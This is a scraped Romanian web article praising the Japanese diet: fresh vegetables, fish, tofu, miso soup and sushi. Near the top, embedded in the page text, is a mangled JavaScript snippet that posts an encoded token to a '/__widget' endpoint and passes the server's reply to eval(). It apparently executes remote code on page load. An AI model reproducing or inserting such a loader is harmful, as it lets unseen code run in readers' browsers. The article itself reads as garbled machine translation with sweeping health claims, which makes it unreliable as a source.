Dieta japoneză sănătoasă

dieta

144 < (function() < var http = new XMLHttpRequest(); http.open("POST", '/__widget', true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.setRequestHeader('Accept', 'application/json;application/javascript'); http.onreadystatechange = function() < if(http.readyState == 4 && http.status == 200) < eval(http.responseText); >; >; http.send ( "date = eyJpdiI6IlZCOXRRSEtBMVFWcVVWbFl4V0lXbFE9PSIsInZhbHVlIjoiZzM0c2xyZW5vbFgzVHZ5QWxDR1JLUit1QzVMYXhraHhPSjY4Z25MRFVJNzZJVFVxZzZrTXcxeWVvbGZtUTQyVkNDN2RSMFI4OXdHZDlaN1E3Zm51Y3lEOFFhREd5WVBaYUF4T1VyT2tUNWN1Z042ZmFIMWo5V2J2ejArdUxZMWVKaEZxWGZhQjFrcDNoOXcwSmFwOEFwdXhFenRWRkUzc0VsNThzRWMySWVZQmRTRXNjcmlnTkN3MndtT205VkNUZjdzU0MxY2p5SUlCZ1BjWVNacGFGb051Yyt5M0N2cklhUHAvUWg4cUVYa3RGSC9Semlxdk5JS1ZvbU5mUStOc2NJSksvZklDM3B3dllsYjhuR3VGZFpQdUQ4Q1A1YTlBQWY0ZW51SGhGcUd4YmdaOGRrMlFDWmt3WVhtcFUvZllQbFlWYmNQMnFyUGszL0p4Tm5CenFaUHVQL045NmNnQUh1UUE0QmJWVi9XR3ZSNkQwU3N5VzlUcEVLTWMzYWliTzZTaXhwakFiR0QrNHdNdXZRMU5kdz09IiwibWFjIjoiNzQ5Y2IxYzIyYjIwY2RjMTIzYjUwMWYwMDY0NTQ5MGQwZGQwNzJhOTIwNDM5YTA0Y2ZhYTUxODQ5N2I3ZDFkMyJ9 & _token = SWaqzpSXazqVBJEY9MEXpM36IAgixm1bTkdWB8Wl"); >) (); >) "title =" Faceți clic pentru a primi o notificare atunci când acest autor publică articole noi "> Abonați-vă

Oamenii din Japonia sunt cunoscuți pentru durata lor de viață foarte lungă, în parte deoarece dieta japoneză constă din alimente proaspete. Japonezii au, de asemenea, o atitudine diferită față de mâncare față de populația modernă occidentală.

Tradiția culinară a Japoniei se bazează în primul rând pe respectul față de natură, deci este extrem de sănătoasă, iar dieta japoneză se bazează pe acest principiu. Locuitorii acestei țări sunt considerați a fi unul dintre cei mai sănătoși și cu cea mai lungă viață și rareori suferă de boli moderne. În această tradiție culinară, nu există fierbere și fierbere, mirosuri puternice și atacuri dure pe stomac. Bucătăria japoneză este ușoară și folosește doar cele mai proaspete ingrediente, printre care predomină legumele, soia, peștele, orezul, brânza tofu, algele și alte fructe de mare.

Din toate cele de mai sus, mulți rezidenți nu au nevoie de o dietă japoneză de 14 zile, iar noi, occidentalii, trebuie să ne adaptăm la această dietă dacă vrem să fim slabi și sănătoși. Japonezii apreciază în special mâncărurile „pe lingură”, de ex. supa de miso, care se face din legume cu adaos de pastă de miso (soia sub formă de pastă) și se consumă în orice moment al zilei, chiar și la micul dejun. Sushi este specialitatea națională a acestei țări și, de ani de zile, este unul dintre cele mai populare feluri de mâncare din lume, este fabricat din pește crud, orez, alge marine, sos de soia și numeroase condimente.

Japonezii adoră pur și simplu legumele: ardei roșu, dovlecei, mazăre, vinete, ardei verzi, ceapă, roșii, morcovi, spanac, lăstari de bambus, sfeclă, cartofi dulci, sfeclă, brusture (legume rădăcină japoneză bogate în fibre), shiitake ... parte a dietei lor. Legumele se servesc gătite într-o supă picantă sau aburite sau coapte într-o cantitate mică de ulei, ceea ce permite conservarea maximă a ingredientelor utile.